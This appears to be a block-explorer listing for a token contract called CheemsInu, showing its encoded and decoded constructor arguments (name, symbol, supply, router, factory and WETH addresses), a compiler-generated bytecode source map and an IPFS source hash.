00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000f6a5c1490000000000000000000000004cf76043b3f97ba06917cbd90f9e3a2aac1b306e000000000000000000000000f16b3d1c0ffab626399c9e60c5868445286c40e900000000000000000000000042000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000009436865656d73496e7500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006436865656d730000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): CheemsInu
Arg [1] : symbol_ (string): Cheems
Arg [2] : _total (uint256): 4138058057
Arg [3] : _router (address): 0x4cf76043B3f97ba06917cBd90F9e3A2AAC1B306e
Arg [4] : _factoryAddr (address): 0xF16b3D1c0FFAb626399c9E60c5868445286c40e9
Arg [5] : _WETH (address): 0x4200000000000000000000000000000000000006
-----Encoded View---------------
10 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000100
Arg [2] : 00000000000000000000000000000000000000000000000000000000f6a5c149
Arg [3] : 0000000000000000000000004cf76043b3f97ba06917cbd90f9e3a2aac1b306e
Arg [4] : 000000000000000000000000f16b3d1c0ffab626399c9e60c5868445286c40e9
Arg [5] : 0000000000000000000000004200000000000000000000000000000000000006
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [7] : 436865656d73496e750000000000000000000000000000000000000000000000
Arg [8] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [9] : 436865656d730000000000000000000000000000000000000000000000000000
Deployed ByteCode Sourcemap
6037:4021:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9875:142;;;;;;;;;;-1:-1:-1;9875:142:0;;;;;:::i;:::-;;:::i;:::-;;5361:22;;;;;;;;;;-1:-1:-1;5361:22:0;;;;-1:-1:-1;;;;;5361:22:0;;;;;;-1:-1:-1;;;;;775:32:1;;;757:51;;745:2;730:18;5361:22:0;;;;;;;;7239:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;8495:283::-;;;;;;;;;;-1:-1:-1;8495:283:0;;;;;:::i;:::-;;:::i;:::-;;;1857:14:1;;1850:22;1832:41;;1820:2;1805:18;8495:283:0;1692:187:1;7007:99:0;;;;;;;;;;;;;:::i;:::-;;;2030:25:1;;;2018:2;2003:18;7007:99:0;1884:177:1;7809:447:0;;;;;;;;;;-1:-1:-1;7809:447:0;;;;;:::i;:::-;;:::i;8264:225::-;;;;;;;;;;-1:-1:-1;8264:225:0;;;;;:::i;:::-;;:::i;7429:83::-;;;;;;;;;;-1:-1:-1;7495:9:0;;-1:-1:-1;;;7495:9:0;;;;7429:83;;;2238:4:1;2226:17;;;2208:36;;2196:2;2181:18;7429:83:0;2066:184:1;6080:28:0;;;;;;;;;;-1:-1:-1;6080:28:0;;;;-1:-1:-1;;;6080:28:0;;;;;;6933:62;;;;;;;;;;-1:-1:-1;6933:62:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;5886:144;;;;;;;;;;;;;:::i;7114:117::-;;;;;;;;;;-1:-1:-1;7114:117:0;;;;;:::i;:::-;;:::i;5672:206::-;;;;;;;;;;-1:-1:-1;5672:206:0;;;;;:::i;:::-;;:::i;5334:20::-;;;;;;;;;;-1:-1:-1;5334:20:0;;;;-1:-1:-1;;;;;5334:20:0;;;7330:87;;;;;;;;;;;;;:::i;7524:277::-;;;;;;;;;;-1:-1:-1;7524:277:0;;;;;:::i;:::-;;:::i;8790:211::-;;;;;;;;;;-1:-1:-1;8790:211:0;;;;;:::i;:::-;;:::i;9009:734::-;;;;;;;;;;-1:-1:-1;9009:734:0;;;;;:::i;:::-;;:::i;9751:116::-;;;;;;;;;;-1:-1:-1;9751:116:0;;;;;:::i;:::-;;:::i;9875:142::-;5636:7;;-1:-1:-1;;;;;5636:7:0;5622:10;:21;5614:30;;;;;;9971:38:::1;::::0;-1:-1:-1;;;9971:38:0;;-1:-1:-1;;;;;4150:32:1;;;9971:38:0::1;::::0;::::1;4132:51:1::0;4199:18;;;4192:34;;;9971:22:0;::::1;::::0;::::1;::::0;4105:18:1;;9971:38:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9875:142:::0;;;:::o;7239:83::-;7276:13;7309:5;7302:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7239:83;:::o;8495:283::-;8562:12;-1:-1:-1;;;;;8595:22:0;;8587:56;;;;-1:-1:-1;;;8587:56:0;;5106:2:1;8587:56:0;;;5088:21:1;5145:2;5125:18;;;5118:30;-1:-1:-1;;;5164:18:1;;;5157:52;5226:18;;8587:56:0;;;;;;;;;8662:10;8654:19;;;;:7;:19;;;;;;;;-1:-1:-1;;;;;8654:29:0;;;;;;;;;;;;:38;;;8708;2030:25:1;;;8654:29:0;;8662:10;8708:38;;2003:18:1;8708:38:0;;;;;;;;-1:-1:-1;8766:4:0;8495:283;;;;:::o;7007:99::-;7078:8;;:20;;;-1:-1:-1;;;7078:20:0;;;;7051:7;;-1:-1:-1;;;;;7078:8:0;;:18;;:20;;;;;;;;;;;;;;:8;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7071:27;;7007:99;:::o;7809:447::-;7934:8;;:25;;-1:-1:-1;;;7934:25:0;;-1:-1:-1;;;;;775:32:1;;;7934:25:0;;;757:51:1;7891:12:0;;7934:8;;:18;;730::1;;7934:25:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7924:6;:35;;7916:68;;;;-1:-1:-1;;;7916:68:0;;5646:2:1;7916:68:0;;;5628:21:1;5685:2;5665:18;;;5658:30;-1:-1:-1;;;5704:18:1;;;5697:51;5765:18;;7916:68:0;5444:345:1;7916:68:0;-1:-1:-1;;;;;8013:14:0;;;;;;:7;:14;;;;;;;;8028:10;8013:26;;;;;;;;8003:36;;;7995:72;;;;-1:-1:-1;;;7995:72:0;;5996:2:1;7995:72:0;;;5978:21:1;6035:2;6015:18;;;6008:30;6074:26;6054:18;;;6047:54;6118:18;;7995:72:0;5794:348:1;7995:72:0;8082:8;;:40;;-1:-1:-1;;;8082:40:0;;-1:-1:-1;;;;;8082:8:0;;;;:22;;:40;;8105:5;;8111:3;;8115:6;;8082:40;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;8143:8:0;;:45;;-1:-1:-1;;;8143:45:0;;-1:-1:-1;;;;;8143:8:0;;;;-1:-1:-1;8143:27:0;;-1:-1:-1;8143:45:0;;8171:5;;8177:3;;8181:6;;8143:45;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8214:3;-1:-1:-1;;;;;8198:28:0;8207:5;-1:-1:-1;;;;;8198:28:0;-1:-1:-1;;;;;;;;;;;8219:6:0;8198:28;;;;2030:25:1;;2018:2;2003:18;;1884:177;8198:28:0;;;;;;;;-1:-1:-1;8244:4:0;7809:447;;;;;:::o;8264:225::-;8391:11;;8346:12;;-1:-1:-1;;;;;8391:11:0;8379:10;:23;8371:50;;;;-1:-1:-1;;;8371:50:0;;6729:2:1;8371:50:0;;;6711:21:1;6768:2;6748:18;;;6741:30;-1:-1:-1;;;6787:18:1;;;6780:45;6842:18;;8371:50:0;6527:339:1;8371:50:0;8453:3;-1:-1:-1;;;;;8437:28:0;8446:5;-1:-1:-1;;;;;8437:28:0;-1:-1:-1;;;;;;;;;;;8458:6:0;8437:28;;;;2030:25:1;;2018:2;2003:18;;1884:177;5886:144:0;5546:5;;-1:-1:-1;;;;;5546:5:0;5532:10;:19;5524:28;;;;;;5990:1:::1;5975:5:::0;;5952:41:::1;::::0;-1:-1:-1;;;;;5975:5:0;;::::1;::::0;5952:41:::1;::::0;5990:1;;5952:41:::1;6020:1;6004:18:::0;;-1:-1:-1;;;;;;6004:18:0::1;::::0;;5886:144::o;7114:117::-;7197:8;;:26;;-1:-1:-1;;;7197:26:0;;-1:-1:-1;;;;;775:32:1;;;7197:26:0;;;757:51:1;7170:7:0;;7197:8;;:18;;730::1;;7197:26:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7190:33;7114:117;-1:-1:-1;;7114:117:0:o;5672:206::-;5546:5;;-1:-1:-1;;;;;5546:5:0;5532:10;:19;5524:28;;;;;;-1:-1:-1;;;;;5759:24:0;::::1;5751:33;;;::::0;::::1;;5823:5;::::0;;5800:41:::1;::::0;-1:-1:-1;;;;;5800:41:0;;::::1;::::0;5823:5;::::1;::::0;5800:41:::1;::::0;::::1;5852:5;:18:::0;;-1:-1:-1;;;;;;5852:18:0::1;-1:-1:-1::0;;;;;5852:18:0;;;::::1;::::0;;;::::1;::::0;;5672:206::o;7330:87::-;7369:13;7402:7;7395:14;;;;;:::i;7524:277::-;7612:8;;:45;;-1:-1:-1;;;7612:45:0;;7587:12;;-1:-1:-1;;;;;7612:8:0;;:22;;:45;;7635:10;;7646:3;;7650:6;;7612:45;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;7678:8:0;;:50;;-1:-1:-1;;;7678:50:0;;-1:-1:-1;;;;;7678:8:0;;;;-1:-1:-1;7678:27:0;;-1:-1:-1;7678:50:0;;7706:10;;7717:3;;7721:6;;7678:50;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;7738:33:0;;2030:25:1;;;-1:-1:-1;;;;;7738:33:0;;;-1:-1:-1;7747:10:0;;-1:-1:-1;;;;;;;;;;;;7738:33:0;2018:2:1;2003:18;7738:33:0;1884:177:1;8790:211:0;8864:17;-1:-1:-1;;;;;8902:22:0;;8894:56;;;;-1:-1:-1;;;8894:56:0;;5106:2:1;8894:56:0;;;5088:21:1;5145:2;5125:18;;;5118:30;-1:-1:-1;;;5164:18:1;;;5157:52;5226:18;;8894:56:0;4904:346:1;8894:56:0;-1:-1:-1;;;;;;8968:15:0;;;;;;;:7;:15;;;;;;;;:25;;;;;;;;;;;;;8790:211::o;9009:734::-;9106:11;;9061:12;;-1:-1:-1;;;;;9106:11:0;9094:10;:23;;:46;;-1:-1:-1;9133:7:0;;-1:-1:-1;;;;;9133:7:0;9121:10;:19;9094:46;9086:73;;;;-1:-1:-1;;;9086:73:0;;6729:2:1;9086:73:0;;;6711:21:1;6768:2;6748:18;;;6741:30;-1:-1:-1;;;6787:18:1;;;6780:45;6842:18;;9086:73:0;6527:339:1;9086:73:0;9170:14;9199:15;9217:8;;;;;;;;;-1:-1:-1;;;;;9217:8:0;-1:-1:-1;;;;;9217:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9199:39;;9249:11;9279:2;9263:6;:13;:18;;;;:::i;:::-;9249:32;;9292:14;9309:8;;;;;;;;;-1:-1:-1;;;;;9309:8:0;-1:-1:-1;;;;;9309:21:0;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9292:40;-1:-1:-1;;;;;;;;;;;;9343:14:0;9426:288;9450:3;9446:1;:7;9426:288;;;9510:6;9507:1;9500:17;9603:6;9596:4;9588:6;9584:17;9580:30;9574:37;9570:2;9566:46;9557:7;9549:6;9543:4;9540:1;9535:78;9685:2;9673:15;;;;;9643:1;9636:9;9426:288;;;-1:-1:-1;9731:4:0;;9009:734;-1:-1:-1;;;;;;;9009:734:0:o;9751:116::-;5636:7;;-1:-1:-1;;;;;5636:7:0;5622:10;:21;5614:30;;;;;;9827:32:::1;::::0;-1:-1:-1;;;;;9827:24:0;::::1;::::0;:32;::::1;;;::::0;9852:6;;9827:32:::1;::::0;;;9852:6;9827:24;:32;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9751:116:::0;;:::o;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;69:70;14:131;:::o;150:456::-;227:6;235;243;296:2;284:9;275:7;271:23;267:32;264:52;;;312:1;309;302:12;264:52;351:9;338:23;370:31;395:5;370:31;:::i;:::-;420:5;-1:-1:-1;477:2:1;462:18;;449:32;490:33;449:32;490:33;:::i;:::-;150:456;;542:7;;-1:-1:-1;;;596:2:1;581:18;;;;568:32;;150:456::o;819:548::-;931:4;960:2;989;978:9;971:21;1021:6;1015:13;1064:6;1059:2;1048:9;1044:18;1037:34;1089:1;1099:140;1113:6;1110:1;1107:13;1099:140;;;1208:14;;;1204:23;;1198:30;1174:17;;;1193:2;1170:26;1163:66;1128:10;;1099:140;;;1103:3;1288:1;1283:2;1274:6;1263:9;1259:22;1255:31;1248:42;1358:2;1351;1347:7;1342:2;1334:6;1330:15;1326:29;1315:9;1311:45;1307:54;1299:62;;;;819:548;;;;:::o;1372:315::-;1440:6;1448;1501:2;1489:9;1480:7;1476:23;1472:32;1469:52;;;1517:1;1514;1507:12;1469:52;1556:9;1543:23;1575:31;1600:5;1575:31;:::i;:::-;1625:5;1677:2;1662:18;;;;1649:32;;-1:-1:-1;;;1372:315:1:o;2255:388::-;2323:6;2331;2384:2;2372:9;2363:7;2359:23;2355:32;2352:52;;;2400:1;2397;2390:12;2352:52;2439:9;2426:23;2458:31;2483:5;2458:31;:::i;:::-;2508:5;-1:-1:-1;2565:2:1;2550:18;;2537:32;2578:33;2537:32;2578:33;:::i;:::-;2630:7;2620:17;;;2255:388;;;;;:::o;2648:247::-;2707:6;2760:2;2748:9;2739:7;2735:23;2731:32;2728:52;;;2776:1;2773;2766:12;2728:52;2815:9;2802:23;2834:31;2859:5;2834:31;:::i;:::-;2884:5;2648:247;-1:-1:-1;;;2648:247:1:o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:921;3100:6;3153:2;3141:9;3132:7;3128:23;3124:32;3121:52;;;3169:1;3166;3159:12;3121:52;3209:9;3196:23;3238:18;3279:2;3271:6;3268:14;3265:34;;;3295:1;3292;3285:12;3265:34;3333:6;3322:9;3318:22;3308:32;;3378:7;3371:4;3367:2;3363:13;3359:27;3349:55;;3400:1;3397;3390:12;3349:55;3436:2;3423:16;3458:2;3454;3451:10;3448:36;;;3464:18;;:::i;:::-;3539:2;3533:9;3507:2;3593:13;;-1:-1:-1;;3589:22:1;;;3613:2;3585:31;3581:40;3569:53;;;3637:18;;;3657:22;;;3634:46;3631:72;;;3683:18;;:::i;:::-;3723:10;3719:2;3712:22;3758:2;3750:6;3743:18;3798:7;3793:2;3788;3784;3780:11;3776:20;3773:33;3770:53;;;3819:1;3816;3809:12;3770:53;3875:2;3870;3866;3862:11;3857:2;3849:6;3845:15;3832:46;3920:1;3898:15;;;3915:2;3894:24;3887:35;;;;-1:-1:-1;3902:6:1;3032:921;-1:-1:-1;;;;;3032:921:1:o;4237:277::-;4304:6;4357:2;4345:9;4336:7;4332:23;4328:32;4325:52;;;4373:1;4370;4363:12;4325:52;4405:9;4399:16;4458:5;4451:13;4444:21;4437:5;4434:32;4424:60;;4480:1;4477;4470:12;4519:380;4598:1;4594:12;;;;4641;;;4662:61;;4716:4;4708:6;4704:17;4694:27;;4662:61;4769:2;4761:6;4758:14;4738:18;4735:38;4732:161;;4815:10;4810:3;4806:20;4803:1;4796:31;4850:4;4847:1;4840:15;4878:4;4875:1;4868:15;4732:161;;4519:380;;;:::o;5255:184::-;5325:6;5378:2;5366:9;5357:7;5353:23;5349:32;5346:52;;;5394:1;5391;5384:12;5346:52;-1:-1:-1;5417:16:1;;5255:184;-1:-1:-1;5255:184:1:o;6147:375::-;-1:-1:-1;;;;;6405:15:1;;;6387:34;;6457:15;;;;6452:2;6437:18;;6430:43;6504:2;6489:18;;6482:34;;;;6337:2;6322:18;;6147:375::o;6871:251::-;6941:6;6994:2;6982:9;6973:7;6969:23;6965:32;6962:52;;;7010:1;7007;7000:12;6962:52;7042:9;7036:16;7061:31;7086:5;7061:31;:::i;7127:217::-;7167:1;7193;7183:132;;7237:10;7232:3;7228:20;7225:1;7218:31;7272:4;7269:1;7262:15;7300:4;7297:1;7290:15;7183:132;-1:-1:-1;7329:9:1;;7127:217::o
Swarm Source
ipfs://f87413dcbd37c41a3cc07bdc6dbb1ee31ee3b326a9757c3bcef87c808c8cfde4